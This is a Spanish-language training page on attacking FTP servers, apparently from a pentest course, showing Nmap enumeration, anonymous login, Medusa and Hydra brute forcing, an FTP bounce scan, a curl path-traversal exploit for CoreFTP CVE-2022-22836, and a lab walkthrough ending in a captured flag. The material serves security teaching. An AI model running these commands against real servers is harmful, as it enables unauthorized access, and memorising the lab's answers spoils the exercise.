Page cover image

👾Ataques a FTP

El File Transfer Protocol (FTP) es un protocolo de red estándar que se utiliza para transferir archivos entre computadoras. También realiza operaciones de directorios y archivos, como cambiar el directorio de trabajo, enumerar archivos y cambiar el nombre y eliminar directorios o archivos. De forma predeterminada, FTP escucha en el puerto TCP/21.

Para atacar un Servidor FTP podemos abusar de una mala configuración o de privilegios excesivos, explotar vulnerabilidades conocidas o descubrir nuevas vulnerabilidades. Por lo tanto, después de acceder al Servicio FTP, debemos conocer el contenido del directorio para poder buscar información sensible o crítica, como comentamos anteriormente.

El protocolo está diseñado para activar descargas y cargas con comandos. Por tanto, los archivos se pueden transferir entre servidores y clientes. Se pone a disposición del usuario un sistema de gestión de archivos, conocido por el sistema operativo. Los archivos se pueden almacenar en carpetas, que pueden estar ubicadas en otras carpetas. Esto da como resultado una estructura de directorios jerárquica. La mayoría de las empresas utilizan este servicio para procesos de desarrollo de software o sitios web.


Enumeración

Los scripts predeterminados -sC de Nmap incluyen el script ftp-anon. Nmap que comprueba si un servidor FTP permite inicios de sesión anónimos. El indicador de enumeración de versiones -sV proporciona información interesante sobre los servicios FTP, como el banner FTP, que a menudo incluye el nombre de la versión. Podemos utilizar el cliente ftp o nc para interactuar con el servicio FTP. De forma predeterminada, FTP se ejecuta en el puerto TCP 21.

Nmap

afsh4ck@kali$ sudo nmap -sC -sV -p 21 192.168.2.142 

Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-10 22:04 EDT
Nmap scan report for 192.168.2.142
Host is up (0.00054s latency).

PORT   STATE SERVICE
21/tcp open  ftp
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rw-r--r--   1 1170     924            31 Mar 28  2001 .banner
| d--x--x--x   2 root     root         1024 Jan 14  2002 bin
| d--x--x--x   2 root     root         1024 Aug 10  1999 etc
| drwxr-srwt   2 1170     924          2048 Jul 19 18:48 incoming [NSE: writeable]
| d--x--x--x   2 root     root         1024 Jan 14  2002 lib
| drwxr-sr-x   2 1170     924          1024 Aug  5  2004 pub
|_Only 6 shown. Use --script-args ftp-anon.maxlist=-1 to see all.

Configuraciones erróneas

Como comentamos, la autenticación anónima se puede configurar para diferentes servicios como FTP. Para acceder con inicio de sesión anónimo, podemos utilizar el nombre de usuario anonymous y sin contraseña. Esto será peligroso para la empresa si no se han configurado correctamente los permisos de lectura y escritura para el servicio FTP. Porque con el inicio de sesión anónimo, la empresa podría haber almacenado información confidencial en una carpeta a la que el usuario anónimo del servicio FTP podría tener acceso.

Esto nos permitiría descargar esta información confidencial o incluso cargar scripts peligrosos. Utilizando otras vulnerabilidades, como el recorrido de ruta en una aplicación web, podríamos averiguar dónde se encuentra este archivo y ejecutarlo como código PHP, por ejemplo.

Autenticación anónima

afsh4ck@kali$ ftp 192.168.2.142    
                     
Connected to 192.168.2.142.
220 (vsFTPd 2.3.4)
Name (192.168.2.142:kali): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-r--r--    1 0        0               9 Aug 12 16:51 test.txt
226 Directory send OK.

Una vez que obtengamos acceso a un servidor FTP con credenciales anónimas, podremos empezar a buscar información interesante. Podemos usar los comandos lsy cdpara movernos por directorios como en Linux. Para descargar un solo archivo, usamos gety para descargar varios archivos, podemos usar mget. Para operaciones de carga, podemos usar putpara un archivo simple o mputpara múltiples archivos. Podemos utilizarlo helpen la sesión del cliente FTP para obtener más información.

En el módulo Enumeración, cubrimos información detallada sobre posibles configuraciones incorrectas de dichos servicios. Por ejemplo, se pueden aplicar muchas configuraciones diferentes a un servidor FTP, y algunas de ellas conducen a diferentes opciones que podrían provocar posibles ataques contra ese servicio. Sin embargo, este módulo se centrará en ataques específicos en lugar de encontrar configuraciones erróneas individuales.


Ataques específicos del protocolo

Muchos ataques y métodos diferentes se basan en protocolos. Sin embargo, es esencial tener en cuenta que no estamos atacando los protocolos individuales en sí, sino los servicios que los utilizan. Dado que existen decenas de servicios para un solo protocolo y procesan la información correspondiente de forma diferente, veremos algunos.

Fuerza bruta

Si no hay autenticación anónima disponible, también podemos forzar el inicio de sesión en los servicios FTP utilizando una lista de nombres de usuario y contraseñas generados previamente. Existen muchas herramientas diferentes para realizar un ataque de fuerza bruta. Exploremos uno de ellos, Medusa . Con Medusa, podemos usar la opción -u para especificar un único usuario al que apuntar, o puede usar la opción -U para proporcionar un archivo con una lista de nombres de usuarios. La opción -P es para un archivo que contiene una lista de contraseñas. Podemos usar la opción -M y el protocolo al que nos dirigimos (FTP) y la opción -h para el nombre de host o dirección IP de destino.

Nota: Aunque podemos encontrar servicios vulnerables a la fuerza bruta, la mayoría de las aplicaciones actuales previenen este tipo de ataques. Un método más eficaz es el Password Spraying

Fuerza bruta con Medusa

afsh4ck@kali$ medusa -u fiona -P /usr/share/wordlists/rockyou.txt -h 10.129.203.7 -M ftp 
                                                             
Medusa v2.2 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net>                                                      
ACCOUNT CHECK: [ftp] Host: 10.129.203.7 (1 of 1, 0 complete) User: fiona (1 of 1, 0 complete) Password: 123456 (1 of 14344392 complete)
ACCOUNT CHECK: [ftp] Host: 10.129.203.7 (1 of 1, 0 complete) User: fiona (1 of 1, 0 complete) Password: 12345 (2 of 14344392 complete)
ACCOUNT CHECK: [ftp] Host: 10.129.203.7 (1 of 1, 0 complete) User: fiona (1 of 1, 0 complete) Password: 123456789 (3 of 14344392 complete)
ACCOUNT FOUND: [ftp] Host: 10.129.203.7 User: fiona Password: family [SUCCESS]

FTP Bounce Attack

Un ataque FTP Bounce es un ataque de red que utiliza servidores FTP para entregar tráfico saliente a otro dispositivo de la red. El atacante utiliza un comando PORT para engañar a la conexión FTP para que ejecute comandos y obtenga información de un dispositivo distinto del servidor previsto.

Considere que estamos apuntando a un servidor FTP FTP_DMZ expuesto a Internet. Otro dispositivo dentro de la misma red Internal_DMZ no está expuesto a Internet. Podemos utilizar la conexión al servidor FTP_DMZ para escanear Internal_DMZ mediante el ataque FTP Bounce y obtener información sobre los puertos abiertos del servidor. Luego, podemos usar esa información como parte de nuestro ataque contra la infraestructura.

Con nmap podemos usar la opción -b para realizar un ataque de rebote FTP:

afsh4ck@kali$ nmap -Pn -v -n -p80 -b anonymous:password@10.10.110.213 172.17.0.2

Starting Nmap 7.80 ( https://nmap.org ) at 2020-10-27 04:55 EDT
Resolved FTP bounce attack proxy to 10.10.110.213 (10.10.110.213).
Attempting connection to ftp://anonymous:password@10.10.110.213:21
Connected:220 (vsFTPd 3.0.3)
Login credentials accepted by FTP server!
Initiating Bounce Scan at 04:55
FTP command misalignment detected ... correcting.
Completed Bounce Scan at 04:55, 0.54s elapsed (1 total ports)
Nmap scan report for 172.17.0.2
Host is up.

PORT   STATE  SERVICE
80/tcp open http

<SNIP>

Últimas vulnerabilidades FTP

Al analizar las vulnerabilidades más recientes, centraremos esta sección y las siguientes en uno de los ataques mostrados anteriormente y lo presentaremos de la manera más simple posible sin entrar en demasiados detalles técnicos. Esto debería ayudarnos a facilitar el concepto de ataque a través de un ejemplo relacionado con un servicio específico para lograr una mejor comprensión.

En este caso, discutiremos la vulnerabilidad CoreFTP before build 727 asignada al CVE-2022-22836 . Esta vulnerabilidad es para un servicio FTP que no procesa correctamente la solicitud HTTP PUT y genera una vulnerabilidad authenticated directory/ path traversal, y arbitrary file write. Esta vulnerabilidad nos permite escribir archivos fuera del directorio al que tiene acceso el servicio.


El concepto del ataque

Este servicio FTP utiliza una solicitud HTTP POST para cargar archivos. Sin embargo, el servicio CoreFTP permite una PUTsolicitud HTTP, que podemos usar para escribir contenido en archivos. Echemos un vistazo al ataque según nuestro concepto. El exploit de este ataque es relativamente sencillo y se basa en un único cURLcomando.

Explotación CoreFTP

afsh4ck@kali$ curl -k -X PUT -H "Host: <IP>" --basic -u <username>:<password> --data-binary "PoC." --path-as-is https://<IP>/../../../../../../whoops

Creamos una PUTsolicitud HTTP sin formato ( -X PUT) con autenticación básica ( --basic -u <username>:<password>), la ruta del archivo ( --path-as-is https://<IP>/../../../../../whoops) y su contenido ( --data-binary "PoC.") con este comando. Además, especificamos el encabezado del host ( -H "Host: <IP>") con la dirección IP de nuestro sistema de destino.

El concepto de ataque

En resumen, el proceso real malinterpreta la entrada de la ruta por parte del usuario. Esto hace que se omita el acceso a la carpeta restringida. Como resultado, los permisos de escritura en la solicitud HTTP PUT no están adecuadamente controlados, lo que lleva a que podamos crear los archivos que queramos fuera de las carpetas autorizadas. Sin embargo, nos saltaremos la explicación del proceso Basic Auth y pasaremos directamente a la primera parte del exploit.

Recorrido del directorio

Paso

Recorrido del directorio

Concepto de ataques - Categoría

1.

El usuario especifica el tipo de solicitud HTTP con el contenido del archivo, incluidos los caracteres de escape para salir del área restringida.

Source

2.

El proceso toma y procesa el tipo modificado de solicitud HTTP, el contenido del archivo y la ruta ingresada por el usuario.

Process

3.

La aplicación comprueba si el usuario está autorizado a estar en la ruta especificada. Dado que las restricciones solo se aplican a una carpeta específica, todos los permisos que se le otorgan se omiten cuando sale de esa carpeta mediante el recorrido del directorio.

Privileges

4.

El destino es otro proceso que tiene la tarea de escribir el contenido especificado del usuario en el sistema local.

Destination

Hasta este punto, hemos omitido las restricciones impuestas por la aplicación usando los caracteres de escape ( ../../../../) y llegamos a la segunda parte, donde el proceso escribe el contenido que especificamos en un archivo de nuestra elección. Aquí es cuando el ciclo comienza de nuevo, pero esta vez para escribir contenidos en el sistema de destino.

Escritura de archivos arbitrarios

Paso

Escritura de archivos arbitrarios

Concepto de ataques - Categoría

5.

La misma información que el usuario ingresó se utiliza como fuente. En este caso, el nombre del archivo ( whoops) y el contenido ( --data-binary "PoC.").

Source

6.

El proceso toma la información especificada y procede a escribir el contenido deseado en el archivo especificado.

Process

7.

Dado que se omitieron todas las restricciones durante la vulnerabilidad de cruce de directorio, el servicio aprueba la escritura del contenido en el archivo especificado.

Privileges

8.

El nombre de archivo especificado por el usuario ( whoops) con el contenido deseado ( "PoC.") ahora sirve como destino en el sistema local.

Destination

Una vez completada la tarea, podremos encontrar este archivo con el contenido correspondiente en el sistema de destino.

Objetivo del sistema

C:\> type C:\whoops

PoC.

Caso práctico

Objetivo: 10.129.12.72

Pregunta 1

¿En qué puerto se ejecuta el servicio FTP en el host?

sudo nmap -v -sCV -T5 10.129.12.72      

PORT     STATE SERVICE     VERSION
22/tcp   open  ssh         OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 71:08:b0:c4:f3:ca:97:57:64:97:70:f9:fe:c5:0c:7b (RSA)
|   256 45:c3:b5:14:63:99:3d:9e:b3:22:51:e5:97:76:e1:50 (ECDSA)
|_  256 2e:c2:41:66:46:ef:b6:81:95:d5:aa:35:23:94:55:38 (ED25519)
53/tcp   open  domain      ISC BIND 9.16.1 (Ubuntu Linux)
| dns-nsid: 
|_  bind.version: 9.16.1-Ubuntu
139/tcp  open  netbios-ssn Samba smbd 4.6.2
445/tcp  open  netbios-ssn Samba smbd 4.6.2
2121/tcp open  ftp
| fingerprint-strings: 
|   GenericLines: 
|     220 ProFTPD Server (InlaneFTP) [10.129.12.72]
|     Invalid command: try being more creative
|_    Invalid command: try being more creative
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port2121-TCP:V=7.94SVN%I=7%D=4/23%Time=6627BD55%P=aarch64-unknown-linux
SF:-gnu%r(GenericLines,8B,"220\x20ProFTPD\x20Server\x20\(InlaneFTP\)\x20\[
SF:10\.129\.12\.72\]\r\n500\x20Invalid\x20command:\x20try\x20being\x20more
SF:\x20creative\r\n500\x20Invalid\x20command:\x20try\x20being\x20more\x20c
SF:reative\r\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
| smb2-time: 
|   date: 2024-04-23T13:53:45
|_  start_date: N/A
| nbstat: NetBIOS name: ATTCSVC-LINUX, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| Names:
|   ATTCSVC-LINUX<00>    Flags: <unique><active>
|   ATTCSVC-LINUX<03>    Flags: <unique><active>
|   ATTCSVC-LINUX<20>    Flags: <unique><active>
|   WORKGROUP<00>        Flags: <group><active>
|_  WORKGROUP<1e>        Flags: <group><active>
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required

Vemos que en este host el servicio FTP se ejecuta en el puerto 2121 en vez del puerto 21 que se suele utilizar para FTP.

2121/tcp open  ftp

Pregunta 2

¿Qué nombre de usuario está disponible para el servidor FTP?

Lo primero que vamos a probar es el login anonymous:

afsh4ck@kali$ ftp 10.129.12.72 2121

Connected to 10.129.12.72.
220 ProFTPD Server (InlaneFTP) [10.129.12.72]
Name (10.129.12.72:kali): anonymous
331 Anonymous login ok, send your complete email address as your password
Password: 
230 Anonymous access granted, restrictions apply
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||13832|)
150 Opening ASCII mode data connection for file list
-rw-r--r--   1 ftp      ftp          1959 Apr 19  2022 passwords.list
-rw-rw-r--   1 ftp      ftp            72 Apr 19  2022 users.list
226 Transfer complete
ftp> 

Funciona y conseguimos acceder a los archivos del servidor. Hay 2 listas de usuarios y contraseñas que nos vamos a descargar:

afsh4ck@kali$ ls
passwords.list    users.list

Tenemos 1 lista de usuarios y una lista de contraseñas, por lo que vamos a hacer bruteforce al servicio FTP. Por ver un ejemplo distinto al visto en esta sección, vamos a usar hydra:

hydra -L users.list -P passwords.list ftp://10.129.12.72:2121 -t 48

Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-04-23 16:25:49
[WARNING] Restorefile (ignored ...) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 48 tasks per 1 server, overall 48 tasks, 2750 login tries (l:11/p:250), ~58 tries per task
[DATA] attacking ftp://10.129.12.72:2121/
[2121][ftp] host: 10.129.12.72   login: robin   password: 7iz4rnckjsduza7

Encontramos el usuario y contraseña:

User: robin
Pass: 7iz4rnckjsduza7

Pregunta 3

Utiliza el nombre de usuario descubierto y su contraseña para iniciar sesión a través de SSH y obtener el archivo flag.txt. Envía el contenido como respuesta.

ssh robin@10.129.12.72    
                
The authenticity of host '10.129.12.72 (10.129.12.72)' can't be established.
ED25519 key fingerprint is SHA256:HfXWue9Dnk+UvRXP6ytrRnXKIRSijm058/zFrj/1LvY.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.129.12.72' (ED25519) to the list of known hosts.
robin@10.129.12.72's password: 

$ ls
flag.txt
$ cat flag.txt  
HTB{ATT4CK1NG_F7P_53RV1C3}
$ 

Última actualización

¿Te fue útil?